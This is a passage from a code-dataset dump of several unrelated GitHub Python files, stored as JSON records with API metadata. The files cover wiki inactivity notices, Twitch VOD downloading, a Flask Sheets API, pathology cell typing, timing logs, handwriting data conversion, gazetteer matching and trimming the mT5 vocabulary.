post\")\n sleep(2)\n print(\"==Inactive Rights Removal - \" + date + \"==\")\n print(\n \"The rights of the following users will be removed on or after \" +\n removedate +\n \" if they do not return to activity:\")\n count = 0\n while count < len(userlist):\n print(\"*{{RFP/User|\" + userlist[count] + \"}}\")\n count = count + 1\n print(\"\")\n print(\"Thanks,\")\n print(\":~~~\")\n print(\":For the Consul Team\")\n print(\":~~~~~\")\n sleep(5)\n print(\"Thanks for using! Good bye.\")\n\n\ntry:\n if argv[1] == 'remove':\n print(\"Running Script in Remove Mode\")\n print(\"Welcome to the TestWiki:Inactivity Script\")\n print(\"This script may only be used by consuls\")\n print(\"Please ensure notifications were sent > 7 days ago and the users are still inacitve\")\n remove()\n elif argv[1] == 'notify':\n print(\"Running Script in Notify Mode\")\n print(\"Before we begin, please run the findInactive script on https://publictestwiki.com\")\n print(\"The notification process will begin in 10 seconds\")\n notify()\n elif argv[1] == 'help':\n print(\"Commands are:\")\n print(\"remove - Removes rights from inactive users\")\n print(\"notify - Generates messages for inactive users\")\n print(\"help - Displays this help page\")\n else:\n print(\"Unknown command. For help use 'main.py help'.\")\nexcept IndexError as e:\n print(e)\n print(\"Please specify an action (remove, notify)\")\n exit()\n", "repo_name": "RhinosF1/PublicTestWiki-Inactive-Auto", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 6676, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "time.sleep", "line_number": 11, "usage_type": "call"}, {"api_name": "requests.Session", "line_number": 38, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 52, "usage_type": "call"}, {"api_name": "stdiomask.getpass", "line_number": 53, "usage_type": "call"}, {"api_name": "random.getrandbits", "line_number": 62, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 92, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 111, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 115, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 129, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 132, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 134, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 138, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 149, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 151, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 156, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 158, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 162, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 177, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 182, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 188, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 193, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 203, "usage_type": "call"}]} {"seq_id": "36710483008", "text": "import threading\nfrom VideoPartFileSaver import *\nimport requests\n\n\nclass dowloadThread (threading.Thread):\n def __init__(self, startNumber, endNumber, base_link):\n threading.Thread.__init__(self)\n self.startNumber = startNumber\n self.endNumber = endNumber\n self.base_link = base_link\n\n def run(self):\n for i in range(self.startNumber, self.endNumber):\n video_part = requests.get(self.base_link + str(i) + \".ts\")\n if video_part.status_code == 200:\n save_video_part_file(video_part.content, str(i) + \".ts\")", "repo_name": "Kutsoloshchenko/TwitchVodDownload", "sub_path": "MultiThreadSupport.py", "file_name": "MultiThreadSupport.py", "file_ext": "py", "file_size_in_byte": 583, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "threading.Thread", "line_number": 6, "usage_type": "attribute"}, {"api_name": "threading.Thread.__init__", "line_number": 8, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 8, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 15, "usage_type": "call"}]} {"seq_id": "33665088191", "text": "# app.py\nfrom flask import Flask, request, jsonify\nimport pandas as pd\nimport openpyxl\nimport reader as R\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n \"\"\"\n Display a message when the root URL is accessed.\n \"\"\"\n return \"

use '/pull_data' to pull info from sheet

\"\n\n@app.route(\"/pull_data\", methods=[\"GET\"])\ndef get_countries():\n \"\"\"\n Return the data from the Google Sheets spreadsheet as a JSON object.\n \n Returns:\n - JSON object: The data from the Google Sheets spreadsheet, converted into a list of dictionaries.\n \"\"\"\n return jsonify(R.dictify())\n\ndef shutdown_server():\n \"\"\"\n Shut down the server.\n \"\"\"\n func = request.environ.get('werkzeug.server.shutdown')\n if func is None:\n raise RuntimeError('Not running with the Werkzeug Server')\n func()\n \n@app.route('/shutdown', methods=[\"GET\"])\ndef shutdown():\n \"\"\"\n Shut down the server when this URL is accessed.\n \n Returns:\n - str: A message indicating that the server is shutting down.\n \"\"\"\n shutdown_server()\n return 'Server shutting down...'\n", "repo_name": "Proteseus/g-sheets-client-api", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1094, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 7, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 24, "usage_type": "call"}, {"api_name": "reader.dictify", "line_number": 24, "usage_type": "call"}, {"api_name": "flask.request.environ.get", "line_number": 30, "usage_type": "call"}, {"api_name": "flask.request.environ", "line_number": 30, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 30, "usage_type": "name"}]} {"seq_id": "35020713686", "text": "import openslide\nimport os\nimport numpy as np\nimport random\nimport json\nimport joblib\nimport seaborn as sns\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport anndata as ad\nfrom sklearn.metrics import confusion_matrix as cfm\nimport argparse\nfrom pathlib import Path\n\nimport sklearn\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\nfrom sklearn.metrics import f1_score, classification_report\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision\nimport torchvision.transforms.functional as ttf\n\n\nfrom codebase.utils.dataset_utils import *\nfrom codebase.utils.constants import *\nfrom codebase.utils.cv_split import kfold_splits,get_patient_samples\nfrom codebase.utils.eval_utils import *\nfrom codebase.downstream_tasks.cell_typing.random_forest import *\n\n## TODO: add option for a sliding window/blur predictions\ndef blur_smooth_array(array, blur_sigma, avg_kernel):\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n array = array.transpose((2, 0, 1))\n array = np.ascontiguousarray(array)\n array = torch.from_numpy(array).float().unsqueeze(0)\n array = array.to(device)\n\n if blur_sigma > 0:\n spatial_denoise = torchvision.transforms.GaussianBlur(3, sigma=blur_sigma)\n array = spatial_denoise(array)\n if avg_kernel>0:\n avg_pool = nn.AvgPool2d(kernel_size=avg_kernel, padding=int(np.floor(avg_kernel/2)), stride=1)\n array = avg_pool(array)\n return array.detach().cpu().numpy()[0].transpose((1, 2, 0))\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Train RF clasifier using train set.')\n parser.add_argument('--save_path', type=str, required=False, default='/cluster/work/grlab/projects/projects2021-multivstain/results/', help='Path to save the predictions')\n parser.add_argument('--model_path', type=str, required=False, default='/cluster/work/grlab/projects/projects2021-multivstain/results', help='Path with model logs')\n parser.add_argument('--set', type=str, required=False, default=\"test\", help='Which set from split to use {test, valid, train}')\n parser.add_argument('--model_type', type=str, required=False, default=\"cgan2\", help='Which model to use')\n parser.add_argument('--submission_id', type=str, required=True, default=None, help='Job submission id')\n parser.add_argument('--n_estimators', type=int, required=False, default=75, help='Number of trees to use')\n parser.add_argument('--ct_level', type=str, required=False, default='CT2', help='Cell-typing level to use for training RF')\n parser.add_argument('--epoch', type=int, required=False, default=None, help='Which epoch to use (number), if not specified the last computed is used')\n parser.add_argument('--suppress_q', type=float, required=False, default=0.1, help='Quantile below which the signal is considered noise and is set to 0')\n parser.add_argument('--blur_sigma', type=int, required=False, default=0, help='Stdev the blurring Gaussian kernel (if 0, no blurring is applied)')\n parser.add_argument('--avg_kernel', type=int, required=False, default=0, help='Size of the averaging kernel (if 0, no averaging is applied)')\n \n args = parser.parse_args()\n model_path = Path(args.model_path).joinpath(args.submission_id)\n \n save_path = Path(args.save_path).joinpath(args.submission_id, args.set+'_ct','epoch'+str(args.epoch))\n if not os.path.exists(save_path):\n save_path.mkdir(parents=True, exist_ok=False)\n\n # Define subset of predicted proteins and cv_split (based on args.txt):\n job_args = pd.read_json(Path(args.model_path).joinpath(args.submission_id,'args.txt'), orient='index')\n protein_set_name = job_args.loc['protein_set',:].values[0]\n protein_set = get_protein_list(protein_set_name)\n cv_split = job_args.loc['cv_split',:].values[0]\n \n # Load trained RF\n rf_fname = '-'.join(['rf', args.ct_level, protein_set_name, 'ntrees'+str(args.n_estimators)])+'.joblib'\n print(Path(META_DIR).joinpath(cv_split, rf_fname))\n assert os.path.exists(Path(META_DIR).joinpath('rf',cv_split, rf_fname)), 'RF for selected settings was not trained'\n rf = joblib.load(Path(META_DIR).joinpath('rf',cv_split, rf_fname))\n \n # Load image with predictions\n img_path = model_path.joinpath(args.set+'_images','epoch'+str(args.epoch))\n for roi in os.listdir(img_path):\n print(roi)\n df_roi_pred = np.load(img_path.joinpath(roi))\n for i,prot_name in enumerate(protein_set):\n prot_idx = protein2index[prot_name]\n df_roi_pred[:,:,i] = destandardize_img(df_roi_pred[:,:,i], EXPRS_AVG[prot_idx], EXPRS_STDEV[prot_idx])\n if args.suppress_q > 0:\n df_roi_pred[:,:,i] = np.apply_along_axis(suppress_to_zero,1,df_roi_pred[:,:,i], q=args.suppress_q)\n df_roi_pred = blur_smooth_array(df_roi_pred, args.blur_sigma, args.avg_kernel)\n df_roi_pred = df_roi_pred.reshape((-1, len(protein_set)))\n \n df_roi_gt = np.load(BINARY_IMC_ROI_STORAGE+roi)\n df_roi_gt = blur_smooth_array(df_roi_gt, args.blur_sigma, args.avg_kernel)\n org_shape = df_roi_gt.shape\n prot_idx = [protein2index[prot_name] for prot_name in protein_set]\n df_roi_gt = df_roi_gt[:,:,prot_idx]\n if args.suppress_q > 0:\n for i in range(df_roi_gt.shape[2]):\n df_roi_pred[:,:,i] = np.apply_along_axis(suppress_to_zero,1,df_roi_gt[:,:,i], q=args.suppress_q)\n df_roi_gt = df_roi_gt.reshape((-1, len(protein_set)))\n \n preds = get_manual_aggregation(rf, df_roi_pred, CELL_TYPES)\n preds_gt = get_manual_aggregation(rf, df_roi_gt, CELL_TYPES)\n save_fname = '-'.join(['rf_pred', args.ct_level, protein_set_name, 'ntrees'+str(args.n_estimators), 'suppress'+str(args.suppress_q).replace('.','_'), 'blur'+str(args.blur_sigma),'kernel'+str(args.avg_kernel),'long',roi])\n np.save(save_path.joinpath(save_fname), preds)\n np.save(save_path.joinpath(save_fname.replace('rf_pred','rf_gt_pred')), preds_gt)\n \n preds = preds.reshape(org_shape[0], org_shape[1], len(CELL_TYPES))\n preds_gt = preds_gt.reshape(org_shape[0], org_shape[1], len(CELL_TYPES))\n save_fname = '-'.join(['rf_pred', args.ct_level, protein_set_name, 'ntrees'+str(args.n_estimators),'suppress'+str(args.suppress_q).replace('.','_'),'blur'+str(args.blur_sigma),'kernel'+str(args.avg_kernel), 'wide',roi])\n np.save(save_path.joinpath(save_fname), preds)\n np.save(save_path.joinpath(save_fname.replace('rf_pred','rf_gt_pred')), preds_gt)\n\n \n \n", "repo_name": "boqchen/MVS", "sub_path": "codebase/downstream_tasks/cell_typing/apply_rf.py", "file_name": "apply_rf.py", "file_ext": "py", "file_size_in_byte": 6695, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "matplotlib.use", "line_number": 9, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 37, "usage_type": "attribute"}, {"api_name": "numpy.ascontiguousarray", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 40, "usage_type": "call"}, {"api_name": "torchvision.transforms.GaussianBlur", "line_number": 44, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 44, "usage_type": "attribute"}, {"api_name": "torch.nn.AvgPool2d", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 47, "usage_type": "name"}, {"api_name": "numpy.floor", "line_number": 47, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 52, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 66, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 69, "usage_type": "call"}, {"api_name": "os.path", "line_number": 69, "usage_type": "attribute"}, {"api_name": "pandas.read_json", "line_number": 73, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 73, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 80, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path", "line_number": 81, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 81, "usage_type": "call"}, {"api_name": "joblib.load", "line_number": 82, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 82, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.apply_along_axis", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.apply_along_axis", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 117, "usage_type": "call"}]} {"seq_id": "18430835582", "text": "import pandas as pd\nfrom timeit import default_timer as timer\nfrom os.path import dirname\nimport datetime\nimport os\n\n\"\"\"\nThe caller should measure duration and pass here along with parameters. \nThis program will create CSV if it does not exist.\nIf this CSV exists, we will update it. \nThus we will add a new line in the end. \nThe format is:\nfunc_name\ttime\tduration, sec\tparameters\nIn the parameters we have the dictionary.\n\"\"\"\ndef calculate_time(name: str, duration: float, **parameters):\n\n # create directory for data if it doesn't exist\n now = datetime.datetime.now()\n parent_dir = dirname(dirname(__file__))\n data_folder = os.path.join(parent_dir, \"data\")\n if not os.path.exists(data_folder):\n os.mkdir(data_folder)\n\n out = {\n 'func_name': name,\n 'time': now.strftime(\"%m.%d.%y-%H:%M:%S\"),\n 'duration, sec': duration,\n 'parameters': parameters\n }\n df = pd.DataFrame(out)\n\n # if csv do not exist, create new csv with header\n if not os.path.exists(data_folder + '/durations.csv'):\n df.to_csv(os.path.join(data_folder, 'durations.csv'), index=False)\n else:\n # if csv exist, create new csv without header\n with open('durations.csv', 'a'):\n df.to_csv(os.path.join(data_folder, 'durations.csv'), mode='a', index=False, header=False)\n\n# Internal test\nif __name__ == '__main__':\n start_time = timer()\n duration = timer() - start_time\n\n par = ''' \n replication_count=10,sample_size_array=sample_size_array,\n mean=0,\n sigma=2,\n noise_type='bernoulli',\n is_data=False,\n fix_number_of_lags=300,\n sample_type='ma3'\n '''\n\n calculate_time(name='compute_and_save_var_cov_hat_native_matrix',\n duration=duration,\n parameters=par)\n", "repo_name": "borisgarbuzov/project2", "sub_path": "project2/src/calculate_time.py", "file_name": "calculate_time.py", "file_ext": "py", "file_size_in_byte": 1815, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "datetime.datetime.now", "line_number": 19, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 23, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "timeit.default_timer", "line_number": 43, "usage_type": "call"}, {"api_name": "timeit.default_timer", "line_number": 44, "usage_type": "call"}]} {"seq_id": "70260880871", "text": "import struct\nimport os\n\nfrom pathlib import Path\nfrom PIL import Image\nimport cv2 as cv\nimport numpy as np\nfrom tqdm import tqdm\n\ndef write_txt(save_path: str, content: list, mode='w'):\n \"\"\"\n 將list內容寫入txt中\n @param\n content: list格式內容\n save_path: 絕對路徑str\n @return:None\n \"\"\"\n with open(save_path, mode, encoding='utf-8') as f:\n for value in content:\n f.write(value + '\\n')\n\n\ndef gnt_convert(path, save_dir):\n gnt_paths = list(Path(path).iterdir())\n\n label_list = []\n for gnt_path in gnt_paths:\n count = 0\n print(gnt_path)\n with open(str(gnt_path), 'rb') as f:\n while f.read(1) != \"\":\n f.seek(-1, 1)\n count += 1\n try:\n # 只所以新增try，是因為有時f.read會報錯 struct.error: unpack requires a buffer of 4 bytes\n # 原因尚未找到\n length_bytes = struct.unpack(' 0:\n for rel in place.related.all():\n if rel.jsonb['relationType'] == 'gvp:broaderPartitive':\n parents.append(rel.jsonb['label'])\n qobj['parents'] = parents\n else:\n qobj['parents'] = []\n # geoms\n if len(place.geoms.all()) > 0:\n g_list =[g.jsonb for g in place.geoms.all()]\n qobj['geom'] = hully(g_list) \n # links\n if len(place.links.all()) > 0:\n l_list = [l.jsonb['identifier'] for l in place.links.all()]\n qobj['authids'] = l_list\n else:\n qobj['authids'] = []\n \n #print('qobj', qobj)\n # run pass0-pass2 ES queries\n result_obj = es_lookup_wdlocal(qobj, bounds=bounds) \n \n if result_obj['hit_count'] == 0:\n count_nohits +=1\n nohits.append(result_obj['missed'])\n else:\n some_hits +=1\n for hit in result_obj['hits']:\n total_hits += 1\n hit_parade[\"hits\"].append(hit)\n \n hits = hit_parade['hits']\n normalized_hits = []\n language = 'en'\n for h in hits:\n normalized_hits.append(normalize(h['_source'],'wdlocal',language))\n fout.write('no hits:\\n')\n for n in nohits:\n fout.write(n+'\\n')\n print(\n 'pass0:'+str(len([h['_id'] for h in hits if h['pass'] == 'pass0']))+'; ',\n 'pass1:'+str(len([h['_id'] for h in hits if h['pass'] == 'pass1']))+'; ',\n 'pass2:'+str(len([h['_id'] for h in hits if h['pass'] == 'pass2'])),\n )\n fout.write('\\n\\nhits:\\n'+json.dumps(hit_parade['hits'], indent=2))\n fout.write('\\n\\nnormalized hits:\\n' + json.dumps(normalized_hits, indent=2))\n fout_summary.write('\\ndsid '+str(d)+' -> some hits:'+str(some_hits)+'; total_hits: '+str(total_hits)+'; no hits: '+str(count_nohits))\n print('rows w/hits:'+str(some_hits)+'; total_hits: '+str(total_hits)+'; no hits: '+str(count_nohits))\n fout.close()\n fout_summary.close()\n \n#ds_array = input('one or more ds ids, comma delimited: ')\nwdlocal(dslabels)\n\n#done [807, 812, 925, 927, 897]\n\n#delthese=[]\n#for d in delthese:\n #ds=get_object_or_404(Dataset,pk=d)\n #ds.delete()", "repo_name": "WorldHistoricalGazetteer/whgazetteer", "sub_path": "tests/testy_wdlocal.py", "file_name": "testy_wdlocal.py", "file_ext": "py", "file_size_in_byte": 4632, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 18, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.shortcuts.get_object_or_404", "line_number": 16, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User", "line_number": 16, "usage_type": "argument"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 17, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User", "line_number": 17, "usage_type": "argument"}, {"api_name": "pytz.timezone", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.datetime.date.today", "line_number": 19, "usage_type": "call"}, {"api_name": "datetime.datetime.date", "line_number": 19, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 19, "usage_type": "name"}, {"api_name": "datetime.datetime.datetime.now", "line_number": 20, "usage_type": "call"}, {"api_name": "datetime.datetime.datetime", "line_number": 20, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 20, "usage_type": "name"}, {"api_name": "codecs.open", "line_number": 26, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 29, "usage_type": "call"}, {"api_name": "places.models.Place.objects.filter", "line_number": 36, "usage_type": "call"}, {"api_name": "places.models.Place.objects", "line_number": 36, "usage_type": "attribute"}, {"api_name": "places.models.Place", "line_number": 36, "usage_type": "name"}, {"api_name": "datasets.tasks.es_lookup_wdlocal", "line_number": 81, "usage_type": "call"}, {"api_name": "datasets.tasks.normalize", "line_number": 96, "usage_type": "call"}, {"api_name": "simplejson.dumps", "line_number": 105, "usage_type": "call"}, {"api_name": "simplejson.dumps", "line_number": 106, "usage_type": "call"}]} {"seq_id": "41431199067", "text": "import os\nimport torch\nimport csv\nimport glob\nimport logging\nimport argparse\nimport numpy as np\nimport dask.dataframe as dd\nfrom typing import List, Any, Optional, Tuple\nfrom tqdm.auto import tqdm, trange\nfrom collections import Counter\nfrom functools import partial\nfrom transformers import (\n PreTrainedTokenizer, PreTrainedModel,\n MT5ForConditionalGeneration,\n T5ForConditionalGeneration, T5Tokenizer\n)\nfrom multiprocessing import Pool\nfrom src.utils import run_shell_cmd, untar_archive, load_yaml_config\n\nlogger = logging.getLogger(__name__)\n\ntry:\n config_path = os.environ[\"config_path\"]\nexcept KeyError:\n script_directory = os.path.dirname(os.path.abspath(__file__))\n config_path = os.path.join(script_directory, '../configs/project_confs.yaml')\nconfigs = load_yaml_config(config_path)\nPROJECT_LANGS = configs['PROJECT_LANGS']\nLANG_ARCHIVES = configs['LANG_ARCHIVES']\n\n\ndef load_spmp_proto() -> None:\n \"\"\"Download a Protocol schema file for the SentencePiece and compile into Python code \"\"\"\n run_shell_cmd(\"wget https://raw.githubusercontent.com/google/sentencepiece/master/src/sentencepiece_model.proto\",\n verbose=False)\n run_shell_cmd(\"protoc --python_out=. sentencepiece_model.proto\")\n run_shell_cmd(\"rm sentencepiece_model.proto\")\n\n\ndef find_corpus_file(tar_output_dir: str) -> str:\n \"\"\"Find file with sentences from Leipzig corpus archive\"\"\"\n if not os.path.isdir(tar_output_dir):\n logging.error(f\"Tar output dir not found: {tar_output_dir}\")\n raise ValueError(\"Tar output dir nor existed\")\n files_dir = os.listdir(tar_output_dir)[0]\n corpus_path = os.path.join(tar_output_dir, files_dir)\n results = glob.glob('*sentences.txt', root_dir=corpus_path)\n if len(results) > 0:\n return os.path.join(corpus_path, results[0])\n else:\n raise ValueError(\"Necessary file wasn't found\")\n\n\ndef prepare_leipzig_corpus(lang: str, working_dir: str) -> str:\n \"\"\"Unarchive leipzig corpus and return path to texts file\"\"\"\n output_dir = os.path.join(working_dir, f'{lang}_leipzig_corpus')\n untar_archive(LANG_ARCHIVES[lang], output_dir)\n data_filename = find_corpus_file(output_dir)\n return data_filename\n\n\ndef build_tokens_counter(dt: dd.DataFrame, tokenizer: PreTrainedTokenizer,\n batch_size: int = 16) -> Counter:\n \"\"\"Build collections.Counter for token frequencies\"\"\"\n counter = Counter()\n for i in tqdm(range(0, len(dt), batch_size)):\n batch = dt.text[i:i + batch_size].to_list()\n encodings = tokenizer.batch_encode_plus(batch, padding=\"longest\", return_tensors=\"np\")\n flat_input_ids = np.array(encodings[\"input_ids\"]).flatten()\n counter.update(flat_input_ids)\n return counter\n\n\ndef common_tokens_leipzig(working_dir: str,\n project_langs: List[str], tokenizer: PreTrainedTokenizer,\n tokens_per_lang: int = 50000) -> List[int]:\n \"\"\"Find most frequent tokens for each language from leipzig corpuses\"\"\"\n prepare_one_corpus = partial(prepare_leipzig_corpus, working_dir=working_dir)\n with Pool() as pool:\n text_filenames = pool.map(prepare_one_corpus, PROJECT_LANGS)\n new_tokens = set()\n for filename in text_filenames:\n dt = dd.read_csv(filename, sep='\\t', header=None,\n quoting=csv.QUOTE_NONE, names=['idx', 'text']).compute()\n lang_counter = build_tokens_counter(dt, tokenizer)\n common_tokens = [token for token, _ in lang_counter.most_common(tokens_per_lang)]\n new_tokens.update(common_tokens)\n new_tokens.update([i for i in range(0, 256 + 3)]) # we want to keep byte-level symbols\n return sorted(list(new_tokens))\n\n\ndef cut_model_for_lm(model: PreTrainedModel,\n tokenizer: PreTrainedTokenizer,\n new_tokens: List[int],\n new_model_name: str,\n ) -> Tuple[PreTrainedModel, PreTrainedTokenizer]:\n \"\"\"Cut Seq2Seq model vocabulary leaving only selected tokens\"\"\"\n if not hasattr(model, 'lm_head'):\n raise ValueError(\"Passed model doesn't have lm_head\")\n\n load_spmp_proto()\n import sentencepiece_model_pb2 as spmp\n\n new_size = len(new_tokens)\n new_emb = torch.nn.Embedding(new_size, model.shared.embedding_dim)\n new_head = torch.nn.Linear(in_features=model.lm_head.in_features, out_features=new_size, bias=False)\n for new_id, old_id in enumerate(new_tokens):\n new_emb.weight.data[new_id] = model.shared.weight.data[old_id]\n new_head.weight.data[new_id] = model.lm_head.weight.data[old_id]\n model.shared.weight = new_emb.weight\n model.lm_head.weight = new_head.weight\n model.config.__dict__['vocab_size'] = new_size\n model.config.__dict__['_name_or_path'] = new_model_name\n\n smp = tokenizer.sp_model.serialized_model_proto()\n proto = spmp.ModelProto()\n proto.ParseFromString(smp)\n new_pieces = [proto.pieces[idx] for idx in new_tokens]\n for i, p in enumerate(new_pieces):\n proto.pieces[i].piece = p.piece\n proto.pieces[i].score = p.score\n proto.pieces[i].type = p.type\n n = len(new_pieces)\n for i in trange(len(proto.pieces) - n):\n proto.pieces.pop(len(proto.pieces) - 1)\n return model, proto\n\n\ndef cut_t5_based_model(model_name_or_path: str,\n working_dir: str,\n tokens_per_lang: int,\n new_model_name: Optional[str] = None,\n save_path: Optional[str] = None):\n \"\"\"\n Cut vocabulary of T5-based model (including MT5), saving only most common tokens for each language\n\n :param model_name_or_path: Model name from huggingface hub or local path\n :param working_dir: Folder where to store temporary files\n :param tokens_per_lang: Maximum number of most frequent tokens to retain per language (default is 40000)\n :param new_model_name: Name for a new model (optional)\n :param save_path: Local path to save new model and tokenizer (optional)\n \"\"\"\n if not os.path.isdir(working_dir):\n raise ValueError(f\"{working_dir} doesn't exist\")\n if new_model_name is None:\n new_model_name = model_name_or_path\n project_langs = PROJECT_LANGS\n tokenizer_path = os.path.join(working_dir, 'new_sp.model')\n if \"mt5\" in model_name_or_path:\n model = MT5ForConditionalGeneration.from_pretrained(model_name_or_path)\n else:\n model = T5ForConditionalGeneration.from_pretrained(model_name_or_path)\n md_max_length = model.config.d_model\n tokenizer = T5Tokenizer.from_pretrained(model_name_or_path,\n model_max_length=md_max_length, legacy=False)\n new_tokens = common_tokens_leipzig(working_dir, project_langs,\n tokenizer, tokens_per_lang=tokens_per_lang)\n model, tokenizer_proto = cut_model_for_lm(model, tokenizer, new_tokens,\n new_model_name=new_model_name)\n with open(tokenizer_path, 'wb') as f:\n f.write(tokenizer_proto.SerializeToString())\n new_tokenizer = T5Tokenizer(tokenizer_path, extra_ids=0, legacy=False)\n logger.info(f\"New vocab length: {len(new_tokenizer)}\")\n if save_path is not None and os.path.isdir(save_path):\n new_tokenizer.save_pretrained(save_path)\n model.save_pretrained(save_path)\n return model, new_tokenizer\n\n\ndef run_mt5_cropping():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--model_name_or_path\", type=str, help=\"Model name from huggingface hub or local path\")\n parser.add_argument(\"--working_dir\", type=str, help=\"Folder where to store temporary files\")\n parser.add_argument(\"--tokens_per_lang\", type=int, default=40000,\n help=\"Maximum number of most frequent tokens to retain per language\")\n parser.add_argument(\"--new_model_name\", type=str, default=None, help=\"Name for a new model (optional)\")\n parser.add_argument(\"--save_path\", type=str, default=None, help=\"Local path to save new model and tokenizer\")\n args = parser.parse_args()\n cut_t5_based_model(mt5_name_or_path=args.model_name_or_path,\n working_dir=args.working_dir,\n tokens_per_lang=args.tokens_per_lang,\n new_model_name=args.new_model_name,\n save_path=args.save_path)\n\n\nif __name__ == \"__main__\":\n run_mt5_cropping()\n", "repo_name": "kkkravets/Seq2Lightning", "sub_path": "src/model_utils.py", "file_name": "model_utils.py", "file_ext": "py", "file_size_in_byte": 8421, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 21, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "src.utils.load_yaml_config", "line_number": 28, "usage_type": "call"}, {"api_name": "src.utils.run_shell_cmd", "line_number": 35, "usage_type": "call"}, {"api_name": 